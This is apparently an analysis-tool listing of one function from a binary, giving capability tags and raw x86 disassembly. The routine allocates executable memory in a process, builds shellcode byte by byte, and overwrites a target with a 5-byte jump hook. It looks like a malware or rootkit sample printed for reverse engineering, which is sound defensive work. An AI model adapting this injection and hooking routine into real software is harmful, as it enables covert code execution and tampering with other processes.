Function at 0x123b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
push edi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x48]
push eax
xor edi, edi
push 0x1f0fff
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x48], 0x18
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x3c], 0x200
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], edi
call fcn.00011510
call eax
test eax, eax
jl 0x12751
push ebx
push esi
mov esi, dword [sym.imp.pwi8mmrd31hl_ZwAllocateVirtualMemory]
push 0x40
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], 0x400
call esi
test eax, eax
jl 0x12438
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 8], eax
push 4
push ebx
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0x400
call esi
test eax, eax
jl 0x12460
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 0xc], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x30]
call fcn.00011b4c
call eax
test eax, eax
jl 0x1274f
push dword [ebp - 0x24]
call fcn.0001192a
call eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], edi
cmp eax, edi
je 0x12735
mov esi, dword [ebp - 0x18]
cmp esi, edi
je 0x126a2
push 0x214
push edi
push esi
mov dword [ebp - 4], eax
call sub.pwi8mmrd31hl_memset
mov eax, dword [ebp - 4]
add esp, 0xc
push 0x60
lea ebx, [esi + 0xc]
push eax
mov dword [ebx], edi
mov dword [esi], edi
mov dword [ebp - 0x20], eax
call fcn.00019836
push 0x68
push eax
call fcn.00019836
push ebx
push eax
call fcn.0001984e
push 0x6a
pop ebx
push ebx
push eax
call fcn.00019836
push edi
push eax
call fcn.00019836
push ebx
push eax
call fcn.00019836
push edi
push eax
call fcn.00019836
push 0x68
push eax
call fcn.00019836
push edi
push eax
mov dword [ebp - 0x28], eax
call fcn.0001984e
push ebx
push eax
call fcn.00019836
push edi
push eax
call fcn.00019836
push ebx
push eax
call fcn.00019836
push edi
push eax
call fcn.00019836
push 0xb8
push eax
call fcn.00019836
push dword [0x78170]
push eax
call fcn.0001984e
mov ebx, 0xc00b
push ebx
push eax
call fcn.00019868
push 0x74
push eax
call fcn.00019836
push 9
push eax
call fcn.00019836
mov edi, 0xd0ff
push edi
push eax
call fcn.00019868
push 0xb9
push eax
call fcn.00019836
lea ecx, [esi + 0x10]
push ecx
push eax
call fcn.0001984e
push 0x189
push eax
call fcn.00019868
push 0x61
push eax
call fcn.00019836
and dword [ebp - 8], 0
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push 0
push dword [ebp - 0x1c]
push dword [ebp - 4]
call fcn.00019fe8
mov ecx, eax
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
add dword [ebp - 8], ecx
add dword [ebp - 4], ecx
cmp dword [ebp - 8], 5
jb 0x12590
mov ecx, dword [ebp + 8]
push dword [ebp - 4]
mov eax, dword [ebp - 8]
add eax, ecx
push eax
call fcn.000198ac
push eax
push dword [ebp - 0x28]
mov dword [ebp - 4], eax
call fcn.0001984e
mov eax, dword [ebp - 4]
push 0xeb
push eax
mov dword [esi], eax
call fcn.00019836
push 0
push eax
mov dword [esi + 4], eax
call fcn.00019836
push 0x68
push eax
call fcn.00019836
push 0x3e8
push eax
call fcn.0001984e
push 0xb8
push eax
call fcn.00019836
push dword [0x78174]
push eax
call fcn.0001984e
push ebx
push eax
call fcn.00019868
push 0x74
push eax
call fcn.00019836
push 2
push eax
call fcn.00019836
push edi
push eax
call fcn.00019868
push eax
push dword [esi]
call fcn.000198ac
mov cl, al
sub cl, byte [esi + 4]
push 0x68
dec cl
push eax
mov byte [esi + 8], cl
call fcn.00019836
add esi, 0x14
push esi
push eax
call fcn.0001984e
push 0xb8
push eax
call fcn.00019836
push dword [0x78168]
push eax
call fcn.0001984e
push ebx
push eax
call fcn.00019868
push 0x74
push eax
call fcn.00019836
push 2
push eax
call fcn.00019836
push edi
push eax
call fcn.00019868
push 0xc2
push eax
call fcn.00019836
push 4
push eax
call fcn.00019868
mov eax, dword [ebp - 0xc]
xor edi, edi
cmp eax, edi
je 0x12735
add eax, 0x400
lea esi, [eax - 0xc]
lea ecx, [eax - 8]
push esi
lea ebx, [eax - 4]
lea edx, [eax - 0x10]
push 0x40
add eax, 0xffffffe8
push ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [ebx], eax
push ebx
mov dword [ecx], 5
push 0xffffffffffffffff
mov dword [ebp - 8], ecx
mov dword [ebp - 0x28], edx
mov dword [esi], edi
call dword [0x780e4]
test eax, eax
jl 0x12735
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp + 8]
sub eax, 5
push eax
mov eax, dword [ebp - 0x1c]
inc eax
push eax
call fcn.0001984e
push 0xe9
push dword [ebp - 0x1c]
call fcn.00019836
mov eax, dword [ebp - 0x28]
push eax
push 5
push dword [ebp - 0x1c]
mov dword [eax], edi
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [0x780d8]
mov eax, dword [ebp + 0xc]
mov byte [eax + 0x10], 1
lea eax, [ebp - 0x20]
push eax
push dword [esi]
push dword [ebp - 8]
push ebx
push 0xffffffffffffffff
call dword [0x780e4]
call fcn.00011900
call eax
mov ecx, dword [ebp - 0x24]
call dword [sym.imp.pwi8mmrd31hl_4tkalwqvg4d3b5n3fvot]
push dword [ebp - 0x10]
call fcn.000117da
call eax
pop esi
pop ebx
pop edi
leave
ret 8